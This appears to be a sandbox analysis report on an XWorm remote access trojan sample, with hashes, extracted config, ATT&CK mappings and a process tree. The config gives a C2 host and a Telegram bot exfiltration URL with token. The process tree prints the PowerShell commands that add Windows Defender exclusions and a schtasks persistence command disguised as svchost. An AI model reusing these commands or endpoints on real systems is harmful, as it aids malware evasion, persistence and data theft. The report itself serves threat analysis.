xworm | 6843a82e9cf4912c21b513d151b1e21d7ea427d3aae206e21fd6c95a4016a92d

General

Target

XClieגnt.exe
Size

58KB
MD5

1746345f5fd33f0b13dee19376ce7a22
SHA1

275f4029a75588c06eb121215b25cf1ddf5438e0
SHA256

6843a82e9cf4912c21b513d151b1e21d7ea427d3aae206e21fd6c95a4016a92d
SHA512

113262cdb9803b3759d94bac6661ddc1554a4255a42cf630d97d99e8baae5294c6e3a266210a904798c4c124654cf6b933bcfc7bb9b21d16de29482e16e6d3c8
SSDEEP

1536:n7BlfGmh4KqNPbbm/8kbPX5wW3WJ6hROXrap:7HGmh41lG/8kbPeWROXrQ

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

sponef159-35748.portmap.host:35748

Attributes

Install_directory
%AppData%
install_file
svchost.exe
telegram
https://api.telegram.org/bot7508868671:AAG6XIOhz39IrQIUnjub1TKVOVZHfdjpsvM/sendMessage?chat_id=6094400048

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/memory/2340-1-0x0000000000980000-0x0000000000994000-memory.dmp	family_xworm
behavioral1/files/0x0007000000023cbc-59.dat	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3580	powershell.exe
2616	powershell.exe
2344	powershell.exe
4740	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	XClieגnt.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	XClieגnt.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	XClieגnt.exe

Executes dropped EXE 3 IoCs

pid	Process
3164	svchost.exe
3564	svchost.exe
1588	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe"	XClieגnt.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1472	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3580	powershell.exe
3580	powershell.exe
2616	powershell.exe
2616	powershell.exe
2344	powershell.exe
2344	powershell.exe
4740	powershell.exe
4740	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2340	XClieגnt.exe
Token: SeDebugPrivilege	3580	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeDebugPrivilege	2340	XClieגnt.exe
Token: SeDebugPrivilege	3164	svchost.exe
Token: SeDebugPrivilege	3564	svchost.exe
Token: SeDebugPrivilege	1588	svchost.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2340 wrote to memory of 3580	2340	XClieגnt.exe	84
PID 2340 wrote to memory of 3580	2340	XClieגnt.exe	84
PID 2340 wrote to memory of 2616	2340	XClieגnt.exe	86
PID 2340 wrote to memory of 2616	2340	XClieגnt.exe	86
PID 2340 wrote to memory of 2344	2340	XClieגnt.exe	88
PID 2340 wrote to memory of 2344	2340	XClieגnt.exe	88
PID 2340 wrote to memory of 4740	2340	XClieגnt.exe	90
PID 2340 wrote to memory of 4740	2340	XClieגnt.exe	90
PID 2340 wrote to memory of 1472	2340	XClieגnt.exe	95
PID 2340 wrote to memory of 1472	2340	XClieגnt.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\XClieגnt.exe
"C:\Users\Admin\AppData\Local\Temp\XClieגnt.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClieגnt.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClieגnt.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4740
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1472

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3164

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3564

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e25058a5d8ac6b42d8c7c9883c598303

SHA1
bd9e6194a36a959772fc020f905244900ffc3d57

SHA256
9f6fe2203df58ba90b512b436fd74f5eeb4f39f4f9f54a41e882fc54e5f35d51

SHA512
0146f2d1298acf189005217784e952d6e99bf7c8bf24ae9e9af1a2ca3d881dca39f19f3ecd06c7d0ad919bc929edaf6e97e0ab2d7f71733b9422527c594ea0c5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
da5c82b0e070047f7377042d08093ff4

SHA1
89d05987cd60828cca516c5c40c18935c35e8bd3

SHA256
77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5

SHA512
7360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sn5xwxkq.j0z.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\svchost.exe

Filesize
58KB

MD5
1746345f5fd33f0b13dee19376ce7a22

SHA1
275f4029a75588c06eb121215b25cf1ddf5438e0

SHA256
6843a82e9cf4912c21b513d151b1e21d7ea427d3aae206e21fd6c95a4016a92d

SHA512
113262cdb9803b3759d94bac6661ddc1554a4255a42cf630d97d99e8baae5294c6e3a266210a904798c4c124654cf6b933bcfc7bb9b21d16de29482e16e6d3c8

Download Submit
memory/2340-56-0x00007FFFD25E0000-0x00007FFFD30A1000-memory.dmp

Filesize
10.8MB

Download
memory/2340-0-0x00007FFFD25E3000-0x00007FFFD25E5000-memory.dmp

Filesize
8KB

Download
memory/2340-57-0x00007FFFD25E3000-0x00007FFFD25E5000-memory.dmp

Filesize
8KB

Download
memory/2340-58-0x00007FFFD25E0000-0x00007FFFD30A1000-memory.dmp

Filesize
10.8MB

Download
memory/2340-1-0x0000000000980000-0x0000000000994000-memory.dmp

Filesize
80KB

Download
memory/3580-17-0x00007FFFD25E0000-0x00007FFFD30A1000-memory.dmp

Filesize
10.8MB

Download
memory/3580-14-0x00007FFFD25E0000-0x00007FFFD30A1000-memory.dmp

Filesize
10.8MB

Download
memory/3580-13-0x00007FFFD25E0000-0x00007FFFD30A1000-memory.dmp

Filesize
10.8MB

Download
memory/3580-12-0x00007FFFD25E0000-0x00007FFFD30A1000-memory.dmp

Filesize
10.8MB

Download
memory/3580-4-0x00000284F0210000-0x00000284F0232000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads